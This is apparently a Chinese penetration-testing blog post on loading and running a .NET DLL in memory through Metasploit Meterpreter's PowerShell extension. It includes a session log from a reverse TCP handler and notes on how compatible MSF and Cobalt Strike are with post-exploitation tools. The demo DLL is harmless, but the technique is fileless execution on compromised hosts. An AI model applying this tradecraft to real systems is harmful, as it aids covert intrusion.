logo

K8哥哥

没有绝对安全的系统

Metasploit/PowerShell内存加载执行.NET

本文于 1458 天之前发表

前言

随着XP和2003退出Windows系统,.NET与PowerShell在渗透中将会更吃香,
虽然.NET和PowerShell可以相互调用但PowerShell的兼容性远不如.NET,
且想要执行PowerShell,前提也需要.net环境,效率方面也是程序比脚本强
同样都可内存加载,为何非要鼓吹PowerShell呢,很多PowerShell框架或模块,
兼容性和稳定性并不好都没人说,好了不扯太远,下面我们来看一下如何使用
MSF中Meterpreter的powershell模块在内存中执行.NET程序集。

0x001 C# DLL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace msftest
{
public class msf
{
public static string run()
{
return "msftest by k8gege";
}
}
}

0x002 PowerShell

首先我们先通过系统自带PowerShell执行DLL,看DLL功能是否正常。

1
2
3
4
5
6
7
8
9
PS C:\Users\k8gege\> [Reflection.Assembly]::LoadFile("C:\Users\k8gege\msftest.dll")

GAC Version Location
--- ------- --------
False v2.0.50727 C:\Users\k8gege\\msftest.dll


PS C:\Users\k8gege\> [msftest.msf]::run()
msftest by k8gege

0x003 MSF加载.NET

将DLL复制至MSF服务器,使用Meterpreter的powershell模块在内存中执行DLL

1
2
3
4
5
6
7
8
9
10
11
12
13
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 0.0.0.0:443
[*] Sending stage (180291 bytes) to 192.168.1.5
[*] Meterpreter session 3 opened (192.168.1.61:443 -> 192.168.1.5:54647) at 2019-12-19 20:36:14 -0500

meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_import msftest.dll
[+] File successfully imported. No result was returned.
meterpreter > powershell_execute "[msftest.msf]::run()"
[+] Command execution completed:
msftest by k8gege

0x004 关于兼容性

1.MSF中的powershell模块稳定性和兼容性并不好,K8在两台WIN7中测试
有一台刚加载powershell模块,MET就崩溃导致权限丢失(而且还弹框)
再者某些程序集和PowerShell脚本也不能正常加载,有些功能也会失效。
这一点Cobalt Strike做得比较好,对.net和PowerShell兼容性80%吧,
.NET加载功能好比虚拟机加载操作系统,CS无法执行部分.NET函数很正常
正如Ladon在CS下执行,部分功能直接不可用,部分功能执行还有问题。
有些人可能说是Ladon的问题,当然说得也没错,但没想过CS的问题吗
它提供.NET程序执行的功能,只是使用了几个微软API接口,并不完全
试想一下被微软收购做了10几年.NET跨平台的MONO也不能保证100%兼容
CS确实是非常强大我承认(不然不使用),但强大并不等于它就没有问题
它的缺点和优点一样,非常多,你用久了懂在理懂的功能多了就会发现
MONO那么大都不能保证完全兼容.NET,CS区区几行代码能完全兼容吗?

我上面说的Ladon在CS下有问题,说Ladon也有问题没错,是因为我认为
写一个好的渗透工具,应尽量兼容各种环境。不过CS也只是使用的工具,
还不是目标环境,要是连工具自身有BUG的模块都能完全兼容,就是完美。

目前Ladon有几个模块不兼容CS,在CNA脚本里有注明,用前必看。其它模块
可能在CS下使用远不如EXE好用,特别是那些没把时间改成3秒内的,默认60秒
才有回显,说成是Ladon扫描慢(即便改成0秒也慢),因为CS无法完美快速回显。
看看CS自带的简单端口扫描或其它扫描,光扫几台机器,CS的回显就很慢吧。
何况Ladon还是外置插件,如Ladon扫描百度子域名很快,但在CS下回显很慢,
并不是Ladon扫得慢,好比把水管前面接一根吸管,要装满一桶水,能快吗。
Ladon扫描很快如同水管,但CS回显如同吸管,水管里的水再快也会因吸管变慢。

2.powershell模块也支持EXE程序,但需要把.exe改成.dll后缀才能加载。
因为通过powershell加载,如果通过系统本身的PowerShell加载都不正常,
MSF加载也会失败,因为MSF并不是虚拟一个.NET加载功能。

如下所示,有时通过系统PowerShell加载ex一样报错
PS C:\Users\k8gege> [Reflection.Assembly]::LoadFile(“C:\Users\k8gege\test.exe”)
使用“1”个参数调用“LoadFile”时发生异常:“生成此程序集的运行时比当前加载的运
行时新,无法加载此程序集。 (异常来自 HRESULT:0x8013101B)”
所在位置 行:1 字符: 32

  • [Reflection.Assembly]::LoadFile <<<< (“C:\Users\k8gege\test.exe”)
    • CategoryInfo : NotSpecified: (:) [], MethodInvocationException
    • FullyQualifiedErrorId : DotNetMethodException

0x005 结论

虽然本文介绍了通过MSF加载执行.NET程序的方法,但是从兼容性以及稳定性来看
目前在实战中还是慎用为好,以免因为弹框或崩溃导致权限丢失。不能因为MSF强大
而无脑使用它的所有功能,程序强大并不代表所有功能模块都稳定好用。只需要使用
稳定好用的模块功能即可,其它模块可以等作者更新稳定后再使用。

注意:我这里说的是不推荐用MSF中的PowerShell加载模块,并不是说MSF。
如同说霍金身体残废,但却没有说他是废人哦,何况只是说他一只手受伤。

扫码加入K8小密圈